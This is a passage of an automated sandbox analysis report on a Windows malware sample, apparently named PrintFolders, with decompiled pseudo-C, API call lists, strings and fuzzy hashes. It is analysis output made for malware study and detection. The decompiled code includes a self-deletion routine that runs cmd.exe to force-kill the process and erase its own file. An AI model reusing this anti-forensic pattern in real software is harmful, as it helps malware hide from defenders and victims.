                                                          					}
                                                          					if(_t61 == 0) {
                                                          						L17:
                                                          						_push(_t65);
                                                          						L24();
                                                          						_t92 = _t92 - 0xc;
                                                          						E0040B520( &_v220, _t81, _t106, "test");
                                                          						E00417CAD(0);
                                                          					} else {
                                                          						goto L7;
                                                          					}
                                                          				}
                                                          				CreateThread(0, 0, E004056A0, 0, 0, 0); // executed
                                                          				Sleep(0xbb8); // executed
                                                          				E00402510( &_v248, "SUB=");
                                                          				_t82 =  &_v248;
                                                          				_v8 = 1;
                                                          				E00405EA0(_t62,  &_a4,  &_v248, _t83);
                                                          				_v8 = 0;
                                                          				E00402440(_t62,  &_v248); // executed
                                                          				_t41 = E00404840(_t62,  &_v248); // executed
                                                          				_t86 = _t41; // executed
                                                          				_t42 = E00404F20(_t62, _t106); // executed
                                                          				_t70 = _t42;
                                                          				_t107 = _t41;
                                                          				if(_t41 == 0) {
                                                          					__eflags = _t70;
                                                          					_t82 = "start";
                                                          					_t44 =  ==  ? "start" : "r";
                                                          				} else {
                                                          					_t44 = "n";
                                                          				}
                                                          				E00402410(0x450e0c, _t44);
                                                          				E00406AA0(_t62,  &_v44, _t83, _t86, _t107); // executed
                                                          				_v8 = 2;
                                                          				_t47 = E0040CAE0(_t107);
                                                          				_t108 = _t47;
                                                          				if(_t47 != 0) {
                                                          					_t96 = _t92 - 0x18;
                                                          					E00402510(_t96, " ");
                                                          					E004066A0(_t62, E00402400( &_v44), _t83); // executed
                                                          					_t92 = _t96 + 0x18;
                                                          				}
                                                          				_t93 = _t92 - 0x18;
                                                          				_t74 = _t92 - 0x18;
                                                          				E0040BB90(_t62, _t93, _t82, _t83,  &_a4); // executed
                                                          				E00408D00(_t62, _t83, _t86, _t108); // executed
                                                          				E004054C0(_t62, _t108);
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				return E00410B00(_t83, _t74, 0, 0xb0);
                                                          			}




























                                                          0x00409500
                                                          0x00409500
                                                          0x00409503
                                                          0x00409505
                                                          0x00409510
                                                          0x00409517
                                                          0x0040951c
                                                          0x0040951e
                                                          0x00409522
                                                          0x00409526
                                                          0x0040952e
                                                          0x0040953e
                                                          0x00409543
                                                          0x00409549
                                                          0x0040954c
                                                          0x00409552
                                                          0x00409559
                                                          0x0040957f
                                                          0x00409585
                                                          0x0040958c
                                                          0x0040958e
                                                          0x00409590
                                                          0x00409597
                                                          0x004095a0
                                                          0x004095a2
                                                          0x004095c0
                                                          0x004095c0
                                                          0x004095c2
                                                          0x004095c2
                                                          0x004095a4
                                                          0x004095a4
                                                          0x004095a7
                                                          0x004095aa
                                                          0x00000000
                                                          0x004095ac
                                                          0x004095ac
                                                          0x004095af
                                                          0x004095b2
                                                          0x00000000
                                                          0x004095b4
                                                          0x004095b4
                                                          0x004095b7
                                                          0x004095ba
                                                          0x00000000
                                                          0x004095bc
                                                          0x004095bc
                                                          0x004095bc
                                                          0x004095ba
                                                          0x004095b2
                                                          0x004095aa
                                                          0x00409599
                                                          0x00409599
                                                          0x0040959c
                                                          0x0040959c
                                                          0x004095c5
                                                          0x004095c7
                                                          0x00000000
                                                          0x00000000
                                                          0x004095c7
                                                          0x0040955b
                                                          0x0040955b
                                                          0x00409560
                                                          0x00409576
                                                          0x00409576
                                                          0x00409578
                                                          0x00409578
                                                          0x00409562
                                                          0x00409562
                                                          0x00409568
                                                          0x00000000
                                                          0x0040956a
                                                          0x0040956a
                                                          0x00409570
                                                          0x00000000
                                                          0x00409572
                                                          0x00409572
                                                          0x00409572
                                                          0x00409570
                                                          0x00409568
                                                          0x0040957d
                                                          0x004095c9
                                                          0x004095c9
                                                          0x004095d0
                                                          0x004095d5
                                                          0x004095e3
                                                          0x004095ea
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040957d
                                                          0x004095fe
                                                          0x00409609
                                                          0x0040961a
                                                          0x0040961f
                                                          0x00409625
                                                          0x0040962c
                                                          0x00409637
                                                          0x0040963b
                                                          0x00409640
                                                          0x00409645
                                                          0x00409647
                                                          0x0040964c
                                                          0x0040964e
                                                          0x00409650
                                                          0x00409659
                                                          0x00409660
                                                          0x00409665
                                                          0x00409652
                                                          0x00409652
                                                          0x00409652
                                                          0x0040966e
                                                          0x00409676
                                                          0x0040967e
                                                          0x00409682
                                                          0x00409687
                                                          0x00409689
                                                          0x0040968b
                                                          0x00409695
                                                          0x004096a4
                                                          0x004096a9
                                                          0x004096a9
                                                          0x004096ac
                                                          0x004096b2
                                                          0x004096b5
                                                          0x004096ba
                                                          0x004096c2
                                                          0x004096c7
                                                          0x004096c8
                                                          0x004096c9
                                                          0x004096ca
                                                          0x004096cb
                                                          0x004096cc
                                                          0x004096cd
                                                          0x004096ce
                                                          0x004096cf
                                                          0x004096e0

                                                          APIs
                                                            • Part of subcall function 00418873: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,0040953A,00000000), ref: 00418886
                                                            • Part of subcall function 00418873: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004188B7
                                                          • CreateThread.KERNEL32 ref: 004095FE
                                                          • Sleep.KERNEL32(00000BB8), ref: 00409609
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Time$CreateFileSleepSystemThreadUnothrow_t@std@@@__ehfuncinfo$??2@
                                                          • String ID: /chk$SUB=$start$test
                                                          • API String ID: 4044491330-2206718722
                                                          • Opcode ID: 0b7e1866d143fc2a1f884dde0244745e592096d5921bc9574330ee586fdfa3a8
                                                          • Instruction ID: f08724c49b25eef3d87a27f8e4f7b5a7e04b5c5297436c6f3479f7f723656a48
                                                          • Opcode Fuzzy Hash: 0b7e1866d143fc2a1f884dde0244745e592096d5921bc9574330ee586fdfa3a8
                                                          • Instruction Fuzzy Hash: 7C413D31A00104AACF11AB76CC127BEBBA19B15308F54447BE945B72C3EB7DDE46C69D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 66%
                                                          			E004054C0(void* __ebx, void* __eflags) {
                                                          				void* _v8;
                                                          				char _v16;
                                                          				signed int _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v44;
                                                          				char _v68;
                                                          				char _v92;
                                                          				char _v116;
                                                          				char _v140;
                                                          				void* _v164;
                                                          				char _v172;
                                                          				void** _v180;
                                                          				void* _v184;
                                                          				void** _v188;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t46;
                                                          				void* _t50;
                                                          				void* _t52;
                                                          				void* _t53;
                                                          				void* _t54;
                                                          				signed int _t66;
                                                          				signed int _t71;
                                                          				void* _t75;
                                                          				signed int _t78;
                                                          				char _t79;
                                                          				void* _t98;
                                                          				void* _t101;
                                                          				void* _t102;
                                                          				void* _t103;
                                                          				void* _t104;
                                                          				void** _t107;
                                                          				signed int _t109;
                                                          				void* _t111;
                                                          				signed int _t113;
                                                          
                                                          				_t46 =  *0x43d054; // 0x6e36c9b5
                                                          				_v20 = _t46 ^ _t109;
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t50 = E00405420( &_v164, GetCurrentProcessId()); // executed
                                                          				_t103 = _t50;
                                                          				_v8 = 0;
                                                          				_t52 = E00405250(__ebx,  &_v140, GetCurrentProcessId()); // executed
                                                          				_v8 = 1;
                                                          				_t53 = E0040C710( &_v116, _t52);
                                                          				_v8 = 2;
                                                          				_t54 = E0040C880( &_v92, _t53, "\" /f & erase \"");
                                                          				_v8 = 3;
                                                          				_t98 = E0040CA40( &_v68, _t54, _t103);
                                                          				_v8 = 4;
                                                          				E0040C880( &_v44, _t98, "\" & exit");
                                                          				_t113 = _t111 - 0x94 + 0x10;
                                                          				E00402440(__ebx,  &_v68, _t46 ^ _t109);
                                                          				E00402440(__ebx,  &_v92, _t102);
                                                          				E00402440(__ebx,  &_v116,  *[fs:0x0]);
                                                          				E00402440(__ebx,  &_v140, 0x42c613);
                                                          				E00402440(__ebx,  &_v164, 0xffffffff);
                                                          				_t91 =  &_v44;
                                                          				ShellExecuteA(0, 0, "C:\\Windows\\System32\\cmd.exe", E00402400(_t91), 0, 0); // executed
                                                          				E00417CAD(0); // executed
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				asm("int3");
                                                          				_push(_t109);
                                                          				_push(0xffffffff);
                                                          				_push(0x42c65e);
                                                          				_push( *[fs:0x0]);
                                                          				_push(__ebx);
                                                          				_push(_t103);
                                                          				_t66 =  *0x43d054; // 0x6e36c9b5
                                                          				_push(_t66 ^ _t113);
                                                          				 *[fs:0x0] =  &_v172;
                                                          				_t104 = _t98;
                                                          				_t107 = _t91;
                                                          				_v180 = _t107;
                                                          				_v188 = _t107;
                                                          				_v184 = 0;
                                                          				 *_t107 = 0;
                                                          				_t107[4] = 0;
                                                          				_t107[5] = 0xf;
                                                          				 *_t107 = 0;
                                                          				_v164 = 0;
                                                          				_v184 = 1;
                                                          				E0040B9D0(__ebx, _t91, _t104, _t107, _t104);
                                                          				_t116 = _t104;
                                                          				if(_t104 > 0) {
                                                          					_t78 = 0x3e;
                                                          					do {
                                                          						_t71 = E00417DF6(_t91, _t116);
                                                          						_t91 = _t107[4];
                                                          						_t33 =  &(("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")[_t71 % _t78]); // 0x33323130
                                                          						_t79 =  *_t33;
                                                          						_t101 = _t107[5];
                                                          						_v24 = _t79;
                                                          						if(_t91 >= _t101) {
                                                          							_push(_v24);
                                                          							_v28 = 0;
                                                          							_t91 = _t107;
                                                          							E0040D240(_t79, _t107, _t104, _t107, _t107, _v28);
                                                          						} else {
                                                          							_t36 =  &(_t91[0]); // 0x1
                                                          							_t107[4] = _t36;
                                                          							_t75 = _t107;
                                                          							if(_t101 >= 0x10) {
                                                          								_t75 =  *_t107;
                                                          							}
                                                          							 *((char*)(_t75 + _t91)) = _t79;
                                                          							 *((char*)(_t75 +  &(_t91[0]))) = 0;
                                                          						}
                                                          						_t78 = 0x3e;
                                                          						_t104 = _t104 - 1;
                                                          					} while (_t104 != 0);
                                                          				}
                                                          				 *[fs:0x0] = _v20;
                                                          				return _t107;
                                                          			}








































                                                          0x004054d7
                                                          0x004054de
                                                          0x004054e6
                                                          0x004054fa
                                                          0x004054ff
                                                          0x00405501
                                                          0x00405516
                                                          0x0040551f
                                                          0x00405523
                                                          0x0040552f
                                                          0x00405536
                                                          0x0040553e
                                                          0x0040554f
                                                          0x00405551
                                                          0x00405558
                                                          0x0040555d
                                                          0x00405563
                                                          0x0040556b
                                                          0x00405573
                                                          0x0040557e
                                                          0x00405589
                                                          0x00405592
                                                          0x004055a4
                                                          0x004055ac
                                                          0x004055b1
                                                          0x004055b2
                                                          0x004055b3
                                                          0x004055b4
                                                          0x004055b5
                                                          0x004055b6
                                                          0x004055b7
                                                          0x004055b8
                                                          0x004055b9
                                                          0x004055ba
                                                          0x004055bb
                                                          0x004055bc
                                                          0x004055bd
                                                          0x004055be
                                                          0x004055bf
                                                          0x004055c0
                                                          0x004055c3
                                                          0x004055c5
                                                          0x004055d0
                                                          0x004055d4
                                                          0x004055d6
                                                          0x004055d7
                                                          0x004055de
                                                          0x004055e2
                                                          0x004055e8
                                                          0x004055ea
                                                          0x004055ec
                                                          0x004055ef
                                                          0x004055f2
                                                          0x004055f9
                                                          0x004055ff
                                                          0x00405606
                                                          0x0040560d
                                                          0x00405610
                                                          0x00405618
                                                          0x0040561f
                                                          0x00405624
                                                          0x00405626
                                                          0x00405628
                                                          0x00405630
                                                          0x00405630
                                                          0x00405637
                                                          0x0040563c
                                                          0x0040563c
                                                          0x00405642
                                                          0x00405645
                                                          0x0040564a
                                                          0x00405665
                                                          0x00405668
                                                          0x00405670
                                                          0x00405672
                                                          0x0040564c
                                                          0x0040564c
                                                          0x0040564f
                                                          0x00405652
                                                          0x00405657
                                                          0x00405659
                                                          0x00405659
                                                          0x0040565b
                                                          0x0040565e
                                                          0x0040565e
                                                          0x00405677
                                                          0x0040567c
                                                          0x0040567c
                                                          0x00405630
                                                          0x00405686
                                                          0x00405694

                                                          APIs
                                                          • GetCurrentProcessId.KERNEL32(6E36C9B5), ref: 004054EC
                                                            • Part of subcall function 00405420: OpenProcess.KERNEL32(00000410,00000000,?,00450D41,00000000), ref: 0040544B
                                                            • Part of subcall function 00405420: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,00450D41,00000000), ref: 00405466
                                                            • Part of subcall function 00405420: FindCloseChangeNotification.KERNEL32(00000000,?,00450D41,00000000), ref: 0040546D
                                                          • GetCurrentProcessId.KERNEL32 ref: 00405508
                                                            • Part of subcall function 00405250: OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 004052B0
                                                            • Part of subcall function 00405250: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?,?), ref: 004052CD
                                                            • Part of subcall function 00405250: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104,?,?,?,?), ref: 004052EA
                                                            • Part of subcall function 00405250: FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?), ref: 004052F1
                                                          • ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 004055A4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Process$ChangeCloseCurrentFindModuleNameNotificationOpen$BaseEnumExecuteFileModulesShell
                                                          • String ID: " & exit$" /f & erase "$C:\Windows\System32\cmd.exe
                                                          • API String ID: 3061982424-3347335610
                                                          • Opcode ID: 6bc7b3ffeecbd7e61c6a60580daaf1c04a1e8b1486a71f75cba929ab9ffd069e
                                                          • Instruction ID: bb57c133ade53ec488d370c8a58f02c66d8e32e9da8c978da3b10ee8368ab8b3
                                                          • Opcode Fuzzy Hash: 6bc7b3ffeecbd7e61c6a60580daaf1c04a1e8b1486a71f75cba929ab9ffd069e
                                                          • Instruction Fuzzy Hash: 35219030A00248DBC704FB75CC46BDDBBB4AB14708F50417AA506B71D2EFB82A49CB5D
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 49%
                                                          			E00405250(void* __ebx, int* __ecx, long __edx) {
                                                          				signed int _v8;
                                                          				char _v258;
                                                          				short _v260;
                                                          				char _v268;
                                                          				char _v272;
                                                          				char _v276;
                                                          				void* __edi;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t16;
                                                          				short _t18;
                                                          				intOrPtr _t23;
                                                          				char* _t29;
                                                          				void* _t31;
                                                          				intOrPtr* _t33;
                                                          				void* _t39;
                                                          				int* _t40;
                                                          				long _t41;
                                                          				void* _t42;
                                                          				signed int _t43;
                                                          
                                                          				_t31 = __ebx;
                                                          				_t16 =  *0x43d054; // 0x6e36c9b5
                                                          				_v8 = _t16 ^ _t43;
                                                          				_t40 = __ecx;
                                                          				_t41 = __edx;
                                                          				_v276 = __ecx;
                                                          				_v276 = __ecx;
                                                          				_t18 =  *0x439a7c; // 0x3e
                                                          				asm("movq xmm0, [0x439a74]");
                                                          				_v260 = _t18;
                                                          				asm("movq [ebp-0x108], xmm0");
                                                          				E00410B00(__ecx,  &_v258, 0, 0xfa);
                                                          				_t42 = OpenProcess(0x410, 0, _t41);
                                                          				if(_t42 != 0) {
                                                          					_t29 =  &_v276;
                                                          					__imp__K32EnumProcessModules(_t42, _t29, 4,  &_v272); // executed
                                                          					if(_t29 != 0) {
                                                          						__imp__K32GetModuleBaseNameA(_t42, _v276,  &_v268, 0x104); // executed
                                                          					}
                                                          				}
                                                          				FindCloseChangeNotification(_t42); // executed
                                                          				_t33 =  &_v268;
                                                          				 *_t40 = 0;
                                                          				_t40[4] = 0;
                                                          				_t39 = _t33 + 1;
                                                          				_t40[5] = 0xf;
                                                          				 *_t40 = 0;
                                                          				do {
                                                          					_t23 =  *_t33;
                                                          					_t33 = _t33 + 1;
                                                          				} while (_t23 != 0);
                                                          				E004026B0(_t31, _t40,  &_v268, _t33 - _t39);
                                                          				return E0040EBBF(_t40, _t31, _v8 ^ _t43, _t39, _t40, _t42);
                                                          			}























                                                          0x00405250
                                                          0x00405259
                                                          0x00405260
                                                          0x00405265
                                                          0x00405267
                                                          0x00405269
                                                          0x0040526f
                                                          0x00405275
                                                          0x0040527b
                                                          0x00405288
                                                          0x00405298
                                                          0x004052a0
                                                          0x004052b6
                                                          0x004052ba
                                                          0x004052c5
                                                          0x004052cd
                                                          0x004052d5
                                                          0x004052ea
                                                          0x004052ea
                                                          0x004052d5
                                                          0x004052f1
                                                          0x004052f7
                                                          0x004052fd
                                                          0x00405303
                                                          0x0040530a
                                                          0x0040530d
                                                          0x00405314
                                                          0x00405317
                                                          0x00405317
                                                          0x00405319
                                                          0x0040531a
                                                          0x0040532a
                                                          0x00405340

                                                          APIs
                                                          • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 004052B0
                                                          • K32EnumProcessModules.KERNEL32(00000000,?,00000004,?,?,?,?,?), ref: 004052CD
                                                          • K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104,?,?,?,?), ref: 004052EA
                                                          • FindCloseChangeNotification.KERNEL32(00000000,?,?,?,?), ref: 004052F1
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Process$BaseChangeCloseEnumFindModuleModulesNameNotificationOpen
                                                          • String ID:
                                                          • API String ID: 1316604328-0
                                                          • Opcode ID: c0d1d87ece03490290b5015221e901385bd44465a3c604b87790a323a267429d
                                                          • Instruction ID: 317e0fa30e6df0fc2493c0f556c76fdcfe70c6514a20a7537da84c3b601fc5e8
                                                          • Opcode Fuzzy Hash: c0d1d87ece03490290b5015221e901385bd44465a3c604b87790a323a267429d
                                                          • Instruction Fuzzy Hash: 7121C471A005199BD725DF65DC05BEAB7B8EF09300F0002FAEA49A7280DBF45AC5CF98
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 93%
                                                          			E00421028(signed int _a4, void* _a8, signed int _a12) {
                                                          				long _v8;
                                                          				signed int _v12;
                                                          				void* _v16;
                                                          				signed int _v20;
                                                          				intOrPtr _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				long _v40;
                                                          				char _v44;
                                                          				signed int _t59;
                                                          				signed int _t64;
                                                          				signed int _t66;
                                                          				signed int _t68;
                                                          				signed int _t71;
                                                          				signed int _t72;
                                                          				signed int _t74;
                                                          				signed int _t81;
                                                          				signed int _t84;
                                                          				signed int _t91;
                                                          				signed int _t93;
                                                          				intOrPtr _t95;
                                                          				signed int _t100;
                                                          				intOrPtr _t101;
                                                          				void* _t102;
                                                          				signed int _t105;
                                                          				signed int _t107;
                                                          				void* _t109;
                                                          
                                                          				_t93 = _a12;
                                                          				_v8 = _t93;
                                                          				_t105 = _a4;
                                                          				_t102 = _a8;
                                                          				_v16 = _t102;
                                                          				if(_t93 == 0) {
                                                          					L37:
                                                          					__eflags = 0;
                                                          					return 0;
                                                          				}
                                                          				_t113 = _t102;
                                                          				if(_t102 != 0) {
                                                          					_t100 = _t105 >> 6;
                                                          					_t59 = (_t105 & 0x0000003f) * 0x38;
                                                          					_v20 = _t100;
                                                          					_t101 =  *((intOrPtr*)(0x4508e0 + _t100 * 4));
                                                          					_v12 = _t59;
                                                          					_t91 =  *((intOrPtr*)(_t101 + _t59 + 0x29));
                                                          					__eflags = _t91 - 2;
                                                          					if(_t91 == 2) {
                                                          						L6:
                                                          						__eflags =  !_t93 & 0x00000001;
                                                          						if(__eflags == 0) {
                                                          							goto L2;
                                                          						}
                                                          						_t59 = _v12;
                                                          						L8:
                                                          						__eflags =  *(_t101 + _t59 + 0x28) & 0x00000020;
                                                          						if(__eflags != 0) {
                                                          							E0041D158(_t105, 0, 0, 2);
                                                          							_t109 = _t109 + 0x10;
                                                          						}
                                                          						_t66 = E00420BCF(_t101, __eflags, _t105);
                                                          						__eflags = _t66;
                                                          						if(_t66 == 0) {
                                                          							_t95 =  *((intOrPtr*)(0x4508e0 + _v20 * 4));
                                                          							_t68 = _v12;
                                                          							__eflags =  *((char*)(_t95 + _t68 + 0x28));
                                                          							if( *((char*)(_t95 + _t68 + 0x28)) >= 0) {
                                                          								asm("stosd");
                                                          								asm("stosd");
                                                          								asm("stosd");
                                                          								_t71 = WriteFile( *(_t95 + _t68 + 0x18), _v16, _v8,  &_v40, 0); // executed
                                                          								__eflags = _t71;
                                                          								if(_t71 == 0) {
                                                          									_v44 = GetLastError();
                                                          								}
                                                          								goto L27;
                                                          							}
                                                          							_t81 = _t91;
                                                          							__eflags = _t81;
                                                          							if(_t81 == 0) {
                                                          								E00420C40( &_v44, _t105, _t102, _v8);
                                                          								goto L16;
                                                          							}
                                                          							_t84 = _t81 - 1;
                                                          							__eflags = _t84;
                                                          							if(_t84 == 0) {
                                                          								_t83 = E00420E04( &_v44, _t105, _t102, _v8);
                                                          								goto L16;
                                                          							}
                                                          							__eflags = _t84 != 1;
                                                          							if(_t84 != 1) {
                                                          								goto L33;
                                                          							}
                                                          							_t83 = E00420D1B( &_v44, _t105, _t102, _v8);
                                                          							goto L16;
                                                          						} else {
                                                          							__eflags = _t91;
                                                          							if(__eflags == 0) {
                                                          								_t83 = E004207BB(__eflags,  &_v44, _t105, _t102, _v8);
                                                          								L16:
                                                          								L14:
                                                          								L27:
                                                          								asm("movsd");
                                                          								asm("movsd");
                                                          								asm("movsd");
                                                          								_t72 = _v28;
                                                          								__eflags = _t72;
                                                          								if(_t72 != 0) {
                                                          									return _t72 - _v24;
                                                          								}
                                                          								_t74 = _v32;
                                                          								__eflags = _t74;
                                                          								if(_t74 == 0) {
                                                          									_t102 = _v16;
                                                          									L33:
                                                          									__eflags =  *( *((intOrPtr*)(0x4508e0 + _v20 * 4)) + _v12 + 0x28) & 0x00000040;
                                                          									if(__eflags == 0) {
                                                          										L35:
                                                          										 *((intOrPtr*)(E004135F1(__eflags))) = 0x1c;
                                                          										_t64 = E004135DE(__eflags);
                                                          										 *_t64 =  *_t64 & 0x00000000;
                                                          										L3:
                                                          										return _t64 | 0xffffffff;
                                                          									}
                                                          									__eflags =  *_t102 - 0x1a;
                                                          									if(__eflags == 0) {
                                                          										goto L37;
                                                          									}
                                                          									goto L35;
                                                          								}
                                                          								_t107 = 5;
                                                          								__eflags = _t74 - _t107;
                                                          								if(__eflags != 0) {
                                                          									_t64 = E004135BB(_t74);
                                                          								} else {
                                                          									 *((intOrPtr*)(E004135F1(__eflags))) = 9;
                                                          									_t64 = E004135DE(__eflags);
                                                          									 *_t64 = _t107;
                                                          								}
                                                          								goto L3;
                                                          							}
                                                          							__eflags = _t91 - 1 - 1;
                                                          							if(_t91 - 1 > 1) {
                                                          								goto L33;
                                                          							}
                                                          							E00420B67( &_v44, _t102, _v8);
                                                          							goto L14;
                                                          						}
                                                          					}
                                                          					__eflags = _t91 - 1;
                                                          					if(_t91 != 1) {
                                                          						goto L8;
                                                          					}
                                                          					goto L6;
                                                          				}
                                                          				L2:
                                                          				 *(E004135DE(_t113)) =  *_t62 & 0x00000000;
                                                          				 *((intOrPtr*)(E004135F1( *_t62))) = 0x16;
                                                          				_t64 = E00413517();
                                                          				goto L3;
                                                          			}






























                                                          0x00421030
                                                          0x00421033
                                                          0x00421038
                                                          0x0042103c
                                                          0x0042103f
                                                          0x00421044
                                                          0x004211fb
                                                          0x004211fb
                                                          0x00000000
                                                          0x004211fb
                                                          0x0042104a
                                                          0x0042104c
                                                          0x00421072
                                                          0x00421078
                                                          0x0042107b
                                                          0x0042107e
                                                          0x00421085
                                                          0x00421088
                                                          0x0042108c
                                                          0x0042108f
                                                          0x00421096
                                                          0x0042109a
                                                          0x0042109c
                                                          0x00000000
                                                          0x00000000
                                                          0x0042109e
                                                          0x004210a1
                                                          0x004210a1
                                                          0x004210a6
                                                          0x004210af
                                                          0x004210b4
                                                          0x004210b4
                                                          0x004210b8
                                                          0x004210be
                                                          0x004210c0
                                                          0x004210fe
                                                          0x00421105
                                                          0x00421108
                                                          0x0042110d
                                                          0x0042115e
                                                          0x00421161
                                                          0x00421162
                                                          0x0042116e
                                                          0x00421174
                                                          0x00421176
                                                          0x0042117e
                                                          0x0042117e
                                                          0x00000000
                                                          0x00421181
                                                          0x00421112
                                                          0x00421112
                                                          0x00421115
                                                          0x0042114e
                                                          0x00000000
                                                          0x0042114e
                                                          0x00421117
                                                          0x00421117
                                                          0x0042111a
                                                          0x0042113e
                                                          0x00000000
                                                          0x0042113e
                                                          0x0042111c
                                                          0x0042111f
                                                          0x00000000
                                                          0x00000000
                                                          0x0042112e
                                                          0x00000000
                                                          0x004210c2
                                                          0x004210c2
                                                          0x004210c4
                                                          0x004210f1
                                                          0x004210f6
                                                          0x004210e1
                                                          0x00421184
                                                          0x00421187
                                                          0x00421188
                                                          0x00421189
                                                          0x0042118a
                                                          0x0042118d
                                                          0x0042118f
                                                          0x00000000
                                                          0x004211f6
                                                          0x00421191
                                                          0x00421194
                                                          0x00421196
                                                          0x004211c2
                                                          0x004211c5
                                                          0x004211d2
                                                          0x004211d7
                                                          0x004211de
                                                          0x004211e3
                                                          0x004211e9
                                                          0x004211ee
                                                          0x00421066
                                                          0x00000000
                                                          0x00421066
                                                          0x004211d9
                                                          0x004211dc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004211dc
                                                          0x0042119a
                                                          0x0042119b
                                                          0x0042119d
                                                          0x004211b7
                                                          0x0042119f
                                                          0x004211a4
                                                          0x004211aa
                                                          0x004211af
                                                          0x004211af
                                                          0x00000000
                                                          0x0042119d
                                                          0x004210c8
                                                          0x004210cb
                                                          0x00000000
                                                          0x00000000
                                                          0x004210d9
                                                          0x00000000
                                                          0x004210de
                                                          0x004210c0
                                                          0x00421091
                                                          0x00421094
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00421094
                                                          0x0042104e
                                                          0x00421053
                                                          0x0042105b
                                                          0x00421061
                                                          0x00000000

                                                          APIs
                                                            • Part of subcall function 004207BB: GetConsoleOutputCP.KERNEL32(00000000,00000000,?), ref: 00420803
                                                          • WriteFile.KERNEL32(?,00000000,00000000,?,00000000,0000000C,00000000,00000000,?,?,?,00000000,?,?,?,00000000), ref: 0042116E
                                                          • GetLastError.KERNEL32(?,?,?,00000000,?,?,?,00000000), ref: 00421178
                                                          • __dosmaperr.LIBCMT ref: 004211B7
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ConsoleErrorFileLastOutputWrite__dosmaperr
                                                          • String ID:
                                                          • API String ID: 910155933-0
                                                          • Opcode ID: e24a92b2f476dda8a345309e2f2059689fa752e10403ff131c579cb01226544e
                                                          • Instruction ID: 3c7e185e40fd80dbdae143d1bdd6e74d6c83d27f732932d537b6873211927bf6
                                                          • Opcode Fuzzy Hash: e24a92b2f476dda8a345309e2f2059689fa752e10403ff131c579cb01226544e
                                                          • Instruction Fuzzy Hash: 4F513671F00269ABDB209FA9D805FEF7BB5AF59314F54004BE500A7262C77CDA82C769
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00424B90(void* __ecx) {
                                                          				intOrPtr _v8;
                                                          				intOrPtr _t7;
                                                          				void* _t8;
                                                          				void* _t13;
                                                          				void* _t24;
                                                          				WCHAR* _t26;
                                                          
                                                          				_t26 = GetEnvironmentStringsW();
                                                          				if(_t26 == 0) {
                                                          					L7:
                                                          					_t13 = 0;
                                                          				} else {
                                                          					_t17 = E00424B59(_t26) - _t26 >> 1;
                                                          					_t7 = E00420094(0, 0, _t26, E00424B59(_t26) - _t26 >> 1, 0, 0, 0, 0);
                                                          					_v8 = _t7;
                                                          					if(_t7 == 0) {
                                                          						goto L7;
                                                          					} else {
                                                          						_t8 = E0041ED2F(_t7); // executed
                                                          						_t24 = _t8;
